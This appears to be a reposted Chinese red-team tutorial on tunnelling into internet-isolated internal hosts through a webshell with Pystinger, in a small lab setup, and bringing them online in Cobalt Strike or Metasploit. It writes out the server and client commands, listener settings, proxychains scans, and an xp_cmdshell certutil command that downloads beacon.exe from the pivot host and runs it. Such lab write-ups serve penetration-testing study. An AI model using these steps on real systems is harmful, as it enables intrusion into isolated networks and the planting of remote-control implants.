当前位置:网站首页>(毒刺)利用Pystinger Socks4上线不出网主机
(毒刺)利用Pystinger Socks4上线不出网主机
2022-07-02 22:13:00 【明月清风~~】
(毒刺)利用Pystinger Socks4上线不出网主机
原文链接:https://mp.weixin.qq.com/s/cpN91KpBvTHwqqFHAQZDOw
我们接着前两篇文章继续分享一篇利用Pystinger Socks4代理方式上线不出网主机的姿势,包括单主机和内网多台主机的两种常见场景!!!
项目地址:https://github.com/FunnyWolf/pystinger
**相关阅读:
**
0x01 测试环境
攻击机(Kali):192.168.56.101受害机1(Web):192.168.56.102、192.168.186.3 - 双网卡受害机2(Data):192.168.186.4 - 断网机
0x02 Pystinger简单介绍
Pystinger由服务端webshell
、stinger_server
和客户端stinger_client
两部分组成,可通过webshell实现内网SOCK4代理及端口映射,支持php/jsp(x)/aspx三种代理脚本。
webshell只负责流量转发,大部分建立连接及处理数据的工作由stinger_server完成,stinger_client则用于接收转发过来的流量数据以及与CS/MSF的listener建立TCP连接等。
大致原理如下图,更为详细的原理分析可阅读“奇安信安全服务”公众号中的“红队攻防实践:不出网主机搭建内网隧道新思路”一文进行学习了解。
0x03 Pystinger上线不出网主机
我们先将Pystinger项目的服务端stinger_server.exe、proxy.aspx通过中国菜刀上传至目标磁盘可读写目录中,访问proxy.aspx返回UTF-8
表示正常,接着执行以下命令启动服务端。
start C:\inetpub\wwwroot\stinger_server.exe 0.0.0.0
**注:**作者提示不要直接运行D:/XXX/stinger_server.exe,因为这样可能会导致TCP断连。
将客户端stinger_client上传至Kali攻击机的tmp临时目录,然后再执行以下命令将Socks4的代理流量转发到我们Kali攻击机60000端口上,只要把-w参数替换为自己上传的代理脚本地址即可。
[email protected]:/tmp# chmod 777 [email protected]:/tmp# ./stinger_client -w http://192.168.56.102/proxy.aspx -l 127.0.0.1 -p 60000
场景1:单主机上线
已控主机为单主机,不出外网且仅允许访问目标Web的80端口。如遇这种场景时可在执行完以上操作后在CobaltStrike创建一个Listener,HTTP Hosts填127.0.0.1
,HTTP Port填60020
。
场景2:多主机上线
已控主机为内网其中一台主机,双网卡(192.168.56.X为出网段,192.168.186.X为不出网段),在对不出网段中的其他内网主机进行横向移动上线时可在执行完以上操作后在CobaltStrike创建一个Listener,HTTP Hosts填192.168.186.3
,HTTP Port填60020
。
配置好监听后生成一个可执行马儿,将该文件放至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载,再利用xp_cmdshell组件执行beacon.exe
后即可成功上线,Pystinger客户端那边也收到了相关连接数据。
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/beacon.exe C:\ProgramData\beacon.exe'EXEC master..xp_cmdshell 'C:\ProgramData\beacon.exe'
CobaltStrike监听设置
单主机上线:
CobaltStrike->Listeners->Add->127.0.0.1:60020
;多主机上线:
CobaltStrike->Listeners->Add->192.168.186.3:60020
;**注:**目标主机为双网卡时必须用不出网IP段的内网IP地址进行监听才能上线不出网主机;
上线至MSF的利用姿势
Kali攻击机上编辑/etc/proxychains.conf文件,底部添加一条socks4代理:127.0.0.1:60000,添加完成后先执行以下几条命令来验证下是否已经与不出网IP段通了?
[email protected]:~# proxychains telnet 192.168.186.4 [email protected]:~# proxychains curl http://[email protected]:~# proxychains nmap -sT -Pn 192.168.186.4[...SNIP...]
如果通了就再用proxychains来启动msfconsole,用不出网IP段的内网IP地址进行监听即可。原理大家都懂,就不实操截图了…。
[email protected]:~# proxychains msfconsole -q[...SNIP...]
边栏推荐
- Brief introduction of emotional dialogue recognition and generation
- 地平线2022年4月最新方案介绍
- Alibaba cloud award winning experience: how to use polardb-x
- Strictly abide by the construction period and ensure the quality, this AI data annotation company has done it!
- 20220527_数据库过程_语句留档
- 潘多拉 IOT 开发板学习(HAL 库)—— 实验4 串口通讯实验(学习笔记)
- The concepts of terminal voltage, phase voltage and line voltage in FOC vector control and BLDC control are still unclear
- Jerry's prototype will trigger shutdown after multiple touches [chapter]
- Win11自动关机设置在哪?Win11设置自动关机的两种方法
- SQL advanced syntax
猜你喜欢
Value sequence < detailed explanation of daily question >
Talk about memory model and memory order
Use of recyclerview with viewbinding
Introduction to the latest plan of horizon in April 2022
Methods to solve the tampering of Chrome browser and edeg browser homepage
Chow-Liu Tree
[npuctf2020]ezlogin XPath injection
密码技术---分组密码的模式
Win11自动关机设置在哪?Win11设置自动关机的两种方法
Redis 过期策略+conf 记录
随机推荐
xshell配置xforward转发火狐浏览器
The concepts of terminal voltage, phase voltage and line voltage in FOC vector control and BLDC control are still unclear
阿里云有奖体验:如何使用 PolarDB-X
Value sequence < detailed explanation of daily question >
Potplayer set minimized shortcut keys
Use of recyclerview with viewbinding
PMP project integration management
Methods to solve the tampering of Chrome browser and edeg browser homepage
20220524_ Database process_ Statement retention
Start from the bottom structure to learn the customization and testing of FPGA --- Xilinx ROM IP
Learning records of data analysis (II) -- simple use of response surface method and design expert
[favorite poems] OK, song
Data analysis learning records -- complete a simple one-way ANOVA with Excel
Realize the linkage between bottomnavigationview and navigation
情感对话识别与生成简述
静态文件显示问题
Chow-Liu Tree
2016. maximum difference between incremental elements
泛型与反射,看这篇就够了
Prometheus deployment